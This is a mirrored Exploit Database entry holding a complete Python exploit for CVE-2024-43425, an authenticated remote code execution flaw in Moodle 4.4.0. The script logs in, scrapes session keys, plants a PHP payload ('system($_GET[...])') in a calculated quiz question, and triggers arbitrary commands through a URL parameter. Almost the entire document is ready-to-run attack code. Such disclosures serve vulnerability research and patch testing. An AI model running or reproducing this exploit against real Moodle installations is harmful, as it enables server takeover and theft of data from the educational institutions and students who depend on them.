Moodle 4.4.0 – Authenticated Remote Code Execution

• Exploit Database
• 10 阅读

• 作者： Likhith Appalaneni
  日期： 2025-07-02
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52350/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263

  # Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution # Exploit Author: Likhith Appalaneni # Vendor Homepage: https://moodle.org # Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0 # Tested Version: Moodle 4.4.0 # Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 # Tested On: Ubuntu 22.04, Apache2, PHP 8.2 # CVE: CVE-2024-43425 # References: # - https://github.com/aninfosec/CVE-2024-43425-Poc # - https://nvd.nist.gov/vuln/detail/CVE-2024-43425   import argparse import requests import re import sys import subprocess from bs4 import BeautifulSoup import urllib.parse   requests.packages.urllib3.disable_warnings()   def get_login_token(session, login_url): print("[*] Step 1: GET /login/index.php to extract login token") try: response = session.get(login_url, verify=False) if response.status_code != 200: print(f"[-] Unexpected status code {response.status_code} when accessing login page") sys.exit(1) except Exception as e: print(f"[-] Error connecting to {login_url}: {e}") sys.exit(1)   soup = BeautifulSoup(response.text, "html.parser") token_input = soup.find("input", {"name": "logintoken"}) if not token_input or not token_input.get("value"): print("[-] Failed to extract login token from HTML") sys.exit(1)   token = token_input["value"] print(f"[+] Found login token: {token}") return token   def perform_login(session, login_url, username, password, token): print("[*] Step 2: POST /login/index.php with credentials") login_payload = { "anchor": "", "logintoken": token, "username": username, "password": password, } try: response = session.post( login_url, data=login_payload, headers={"Content-Type": "application/x-www-form-urlencoded"}, verify=False, ) if response.status_code not in [200, 303]: print(f"[-] Unexpected response code during login: {response.status_code}") sys.exit(1) except Exception as e: print(f"[-] Login POST failed: {e}") sys.exit(1)   if "MoodleSession" not in session.cookies.get_dict(): print("[-] Login may have failed: MoodleSession cookie missing") sys.exit(1)   print("[+] Logged in successfully.")   def get_quiz_info(session, base_url, cmid): print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...") quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}" try: resp = session.get(quiz_edit_url, verify=False) if resp.status_code != 200: print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}") sys.exit(1) # Extract sesskey sesskey_match = re.search(r&apos;"sesskey":"([a-zA-Z0-9]+)"&apos;, resp.text) # Extract courseContextId ctxid_match = re.search(r&apos;"courseContextId":(\d+)&apos;, resp.text) # Extract category category_match = re.search(r&apos;;category=(\d+)&apos;, resp.text) if not (sesskey_match and ctxid_match and category_match): print("[-] Could not extract sesskey, courseContextId, or category") print(resp.text[:1000]) sys.exit(1) sesskey = sesskey_match.group(1) ctxid = ctxid_match.group(1) category = category_match.group(1) print(f"[+] Found sesskey: {sesskey}") print(f"[+] Found courseContextId: {ctxid}") print(f"[+] Found category: {category}") return sesskey, ctxid, category except Exception as e: print(f"[-] Exception while extracting quiz info: {e}") sys.exit(1)   def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid): print("[*] Step 3: Uploading calculated question with payload...") url = f"{base_url}/question/bank/editquestion/question.php" payload = "(1)->{system($_GET[chr(97)])}" post_data = { "initialcategory": 1, "reload": 1, "shuffleanswers": 1, "answernumbering": "abc", "mform_isexpanded_id_answerhdr": 1, "noanswers": 1, "nounits": 1, "numhints": 2, "synchronize": "", "wizard": "datasetdefinitions", "id": "", "inpopup": 0, "cmid": cmid, "courseid": courseid, "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0", "mdlscrollto": 0, "appendqnumstring": "addquestion", "qtype": "calculated", "makecopy": 0, "sesskey": sesskey, "_qf__qtype_calculated_edit_form": 1, "mform_isexpanded_id_generalheader": 1, "category": f"{category},{ctxid}", "name": "exploit", "questiontext[text]": "<p>test</p>", "questiontext[format]": 1, "questiontext[itemid]": 623548580, "status": "ready", "defaultmark": 1, "generalfeedback[text]": "", "generalfeedback[format]": 1, "generalfeedback[itemid]": 21978947, "answer[0]": payload, "fraction[0]": 1.0, "tolerance[0]": 0.01, "tolerancetype[0]": 1, "correctanswerlength[0]": 2, "correctanswerformat[0]": 1, "feedback[0][text]": "", "feedback[0][format]": 1, "feedback[0][itemid]": 281384971, "unitrole": 3, "penalty": 0.3333333, "hint[0][text]": "", "hint[0][format]": 1, "hint[0][itemid]": 812786292, "hint[1][text]": "", "hint[1][format]": 1, "hint[1][itemid]": 795720000, "tags": "_qf__force_multiselect_submission", "submitbutton": "Save changes" } try: res = session.post(url, data=post_data, verify=False, allow_redirects=False) if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]: print("[+] Question upload request sent. Extracting question ID from redirect.") qid = re.search(r"&id=(\d+)", res.headers["Location"]) if not qid: print("[-] Could not extract question ID from redirect.") sys.exit(1) return qid.group(1) else: print(f"[-] Upload failed. Status code: {res.status_code}") sys.exit(1) except Exception as e: print(f"[-] Upload exception: {e}") sys.exit(1)   def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid): print("[*] Step 4: Completing dataset wizard with dataset[0]=0") wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions" data_payload = { "id": question_id, "inpopup": 0, "cmid": cmid, "courseid": courseid, "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0", "mdlscrollto": 0, "appendqnumstring": "addquestion", "category": f"{category},{ctxid}", "wizard": "datasetitems", "sesskey": sesskey, "_qf__question_dataset_dependent_definitions_form": 1, "dataset[0]": 0, "synchronize": 0, "submitbutton": "Next page" } try: res = session.post(wizard_url, data=data_payload, verify=False) if res.status_code == 200: print("[+] Dataset wizard POST submitted.") return False elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text: print("[+] Reached expected error page. Payload is being interpreted.") return True else: print(f"[-] Dataset wizard POST failed with status: {res.status_code}") return False except Exception as e: print(f"[-] Exception during dataset wizard step: {e}") return False   def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd): print("[*] Step 5: Triggering command: {cmd}") encoded = urllib.parse.quote(cmd) trigger_url = ( f"{base_url}/question/bank/editquestion/question.php?id={question_id}" f"&category={category}&cmid={cmid}&courseid={courseid}" f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0" f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}" ) try: resp = session.get(trigger_url, verify=False) print("[+] Trigger request sent. Output below:\n") lines = resp.text.splitlines() output_lines = [] for line in lines: if "<html" in line.lower(): break if line.strip(): output_lines.append(line.strip())   print("[+] Command output (top lines):") print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.") except Exception as e: print(f"[-] Error triggering command: {e}") sys.exit(1)   def main(): parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit") parser.add_argument("--url", required=True, help="Target Moodle base URL") parser.add_argument("--username", required=True, help="Moodle username") parser.add_argument("--password", required=True, help="Moodle password") parser.add_argument("--courseid", required=True, help="Course ID") parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)") parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., &apos;whoami&apos; or &apos;cat /flag&apos;)")   args = parser.parse_args()   session = requests.Session()   login_url = f"{args.url.rstrip(&apos;/&apos;)}/login/index.php" token = get_login_token(session, login_url)   perform_login(session, login_url, args.username, args.password, token)   sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip(&apos;/&apos;), args.cmid)   question_id = upload_calculated_question(session, args.url.rstrip(&apos;/&apos;), sesskey, args.cmid, args.courseid, category, ctxid)   if not post_dataset_wizard(session, args.url.rstrip(&apos;/&apos;), question_id, sesskey, args.cmid, args.courseid, category, ctxid): sys.exit(1)   trigger_rce(session, args.url.rstrip(&apos;/&apos;), question_id, category, args.cmid, args.courseid, args.cmd)   if __name__ == "__main__": main()